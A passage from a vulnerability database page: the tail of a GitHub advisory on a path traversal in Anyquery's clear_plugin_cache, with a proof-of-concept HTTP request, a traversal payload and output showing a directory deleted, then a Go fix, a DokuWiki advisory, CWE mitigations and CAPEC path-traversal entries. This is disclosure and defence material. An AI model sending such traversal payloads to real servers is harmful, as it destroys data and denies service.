\u2014 clear_plugin_cache(\u0027{TRAVERSAL_PLUGIN}\u0027) deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)\")\n```\n\n**HTTP request:**\n\n```http\nPOST /execute-query HTTP/1.1\nHost: 127.0.0.1:8070\nContent-Type: application/json\n\n{\"query\": \"SELECT clear_plugin_cache(\u0027../../../../tmp/poc_sentinel\u0027)\"}\n```\n\n**Output:**\n\n```text\n[1] Creating sentinel directory /tmp/poc_sentinel inside container...\n Sentinel created: /tmp/poc_sentinel\n[2] Confirming server is reachable...\n GET /list-tables \u2192 HTTP 200 OK\n[3] Sending path-traversal payload via POST /execute-query...\n HTTP 200\n Body: +----------------------------------------------------+\n| clear_plugin_cache(\u0027../../../../tmp/poc_sentinel\u0027) |\n+----------------------------------------------------+\n| |\n+----------------------------------------------------+\n1 results\n[4] Checking whether sentinel was deleted inside container...\n Sentinel GONE \u2014 /tmp/poc_sentinel deleted outside cache root.\nRESULT: PASS \u2014 clear_plugin_cache(\u0027../../../../tmp/poc_sentinel\u0027) deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)\n```\n\n## Impact\n\nAn authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a `..`-traversing plugin name to `clear_plugin_cache`. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary (`$XDG_CACHE_HOME/anyquery/plugins/`). In a realistic deployment, an attacker could target configuration directories, application data, or the user\u0027s home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data.\n\n## Remediation\n\nIn `namespace/other_functions.go`, resolve the full path and confirm it shares the expected cache-root prefix before calling `os.RemoveAll`:\n\n```go\nfunc clear_plugin_cache(plugin string) string {\n if plugin == \"\" {\n return \"The plugin name is empty\"\n }\n cacheRoot := pathlib.Join(xdg.CacheHome, \"anyquery\", \"plugins\")\n pathToRemove := pathlib.Join(cacheRoot, plugin)\n rel, err := filepath.Rel(cacheRoot, pathToRemove)\n if err != nil || strings.HasPrefix(rel, \"..\") || rel == \"..\" {\n return \"Invalid plugin name\"\n }\n if err := os.RemoveAll(pathToRemove); err != nil {\n return err.Error()\n }\n return \"\"\n}\n```\n\nAs a defence-in-depth measure, also reject `plugin` values containing `/`, `\\`, or a leading `.` at the input level before the `path.Join` call, so traversal sequences are blocked at the earliest opportunity.",
"id": "GHSA-j9rx-rppg-6hh4",
"modified": "2026-06-10T17:11:53Z",
"published": "2026-06-10T17:11:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/julien040/anyquery/security/advisories/GHSA-j9rx-rppg-6hh4"
},
{
"type": "PACKAGE",
"url": "https://github.com/julien040/anyquery"
},
{
"type": "WEB",
"url": "https://github.com/julien040/anyquery/releases/tag/0.4.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Anyquery has Path Traversal through `clear_plugin_cache`, Allowing Arbitrary Directory Deletion"
}
GHSA-J9VH-GJH2-275F
Vulnerability from github – Published: 2022-05-02 06:11 – Updated: 2022-05-02 06:11Directory traversal vulnerability in the ACL Manager plugin (plugins/acl/ajax.php) in DokuWiki before 2009-12-25b allows remote attackers to list the contents of arbitrary directories via a .. (dot dot) in the ns parameter.
{
"affected": [],
"aliases": [
"CVE-2010-0287"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-02-15T18:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the ACL Manager plugin (plugins/acl/ajax.php) in DokuWiki before 2009-12-25b allows remote attackers to list the contents of arbitrary directories via a .. (dot dot) in the ns parameter.",
"id": "GHSA-j9vh-gjh2-275f",
"modified": "2022-05-02T06:11:22Z",
"published": "2022-05-02T06:11:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0287"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/55660"
},
{
"type": "WEB",
"url": "http://bugs.splitbrain.org/index.php?do=details\u0026task_id=1847"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-February/034729.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-February/034831.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/38183"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-201301-07.xml"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2010/dsa-1976"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/11141"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/37821"
},
{
"type": "WEB",
"url": "http://www.splitbrain.org/blog/2010-01/17-dokuwiki-security"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0150"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.